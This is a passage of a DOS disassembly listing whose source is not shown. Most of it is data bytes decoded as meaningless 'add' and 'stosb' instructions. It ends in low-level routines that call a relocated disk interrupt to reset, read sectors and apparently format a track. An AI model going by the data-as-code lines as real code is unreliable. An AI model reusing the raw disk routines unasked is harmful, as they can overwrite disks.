add [bp+si+0A8h],ch
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
test al,0
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0185e
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
mul byte ptr ds:data_0035e ; ax = data * al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr data_0041+40h ; (' ')
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr data_0041+40h ; (' ')
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr data_0041+40h ; (' ')
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
sub ch,[bp+si+2A00h]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add ch,[bp+si+0A0h]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bp+si],ch
|
|
add [bp+si],ch
|
|
add [bx+si],al
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
or ch,[bp+si+0A0h]
|
|
add [bx+si],al
|
|
or ch,[bx+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
or ch,[bp+si+0A8h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr ds:[2800h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
or ch,[bp+si+0A0h]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
or ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],2Ah ; '*'
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr ds:[0F600h]
|
|
and ax,28h
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr ds:[2800h]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr ds:[0AA0Ah]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add ch,[bp+si+0AAh]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0181e
|
|
add [bx+si],al
|
|
add [bp+si-5556h],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
mov al,ds:data_0182e
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
or ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0185e
|
|
add byte ptr [bx+si],0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
add [bx+si],al
|
|
add [bp+si+0AAh],ch
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr ds:[0AA0Ah]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
add [bx+si],al
|
|
add ch,[bp+si+0A8h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
or ch,[bp+si-5556h]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0183e
|
|
test al,0
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0A0h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bp+si-7F56h],ch
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add ch,[bp+si+0AAh]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr data_0041+40h ; (' ')
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add ch,[bp+si+0A0h]
|
|
or ch,[bp+si+0A0h]
|
|
add [bp+si-5556h],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
or ch,[bp+si+80h]
|
|
mul byte ptr [si] ; ax = data * al
|
|
sub [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+200h]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add ch,[bp+si+0A8h]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
or ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],2Ah ; '*'
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
sub ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0A0h]
|
|
add [bx+si],al
|
|
or ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr data_0041+40h ; (' ')
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr data_0041+40h ; (' ')
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0A0h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si-7F56h]
|
|
add [bx+si],al
|
|
or ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
sub al,[bx+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add ch,[bp+si+0A8h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si-5556h],ch
|
|
add [bx+si],al
|
|
or ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
or ch,[bp+si+0A8h]
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0179e
|
|
or [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bp+si+0AAh],ch
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
or ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr ds:[0A00Ah]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add dh,dh
|
|
and bp,[bx+si]
|
|
add [bx+si],al
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
cmp data_0045,1
|
|
jne loc_0021 ; Jump if not equal
|
|
cmp data_0044,0
|
|
je loc_0022 ; Jump if equal
|
|
loc_0021:
|
|
xor ah,ah ; Zero register
|
|
int 6Fh ; ??int non-standard interrupt
|
|
jc loc_0022 ; Jump if carry Set
|
|
mov dh,data_0044
|
|
mov dl,byte ptr cs:[529h]
|
|
mov cx,data_0045
|
|
mov bx,200h
|
|
mov ax,201h
|
|
int 6Fh ; ??int non-standard interrupt
|
|
loc_0022:
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_0003 endp
|
|
|
|
db 50h, 53h, 51h, 52h, 32h
|
|
dw 0CDE4h ; Data table (indexed access)
|
|
db 6Fh
|
|
dw 1272h ; Data table (indexed access)
|
|
db 32h,0F6h, 2Eh, 8Ah, 16h, 29h
|
|
db 05h,0B9h, 21h, 28h,0BBh, 00h
|
|
db 02h,0B8h, 01h, 02h,0CDh, 6Fh
|
|
db 5Ah, 59h, 5Bh, 58h,0C3h, 50h
|
|
db 53h, 51h, 52h, 32h,0E4h,0CDh
|
|
db 6Fh, 72h, 1Ah, 32h,0F6h, 8Ah
|
|
db 16h, 29h, 05h,0B5h, 28h,0BBh
|
|
db 7Ch, 06h,0B8h, 09h, 05h,0CDh
|
|
db 6Fh, 73h, 05h,0F6h,0C4h, 82h
|
|
db 75h, 03h
|
|
db 0E8h, 29h, 00h
|
|
db 5Ah, 59h, 5Bh, 58h,0C3h, 28h
|
|
db 00h, 21h, 02h, 28h, 00h, 22h
|
|
db 02h, 28h, 00h, 23h, 02h, 28h
|
|
db 00h, 24h, 02h, 28h, 00h, 25h
|
|
db 02h, 28h, 00h, 26h, 02h, 28h
|
|
db 00h, 27h, 02h, 28h, 00h, 28h
|
|
db 02h, 28h, 00h, 29h, 02h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0005 proc near
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
xor ah,ah ; Zero register
|
|
int 6Fh ; ??int non-standard interrupt
|
|
jc loc_0026 ; Jump if carry Set
|
|
xor dh,dh ; Zero register
|
|
mov dl,byte ptr ds:[529h]
|
|
mov cx,2821h
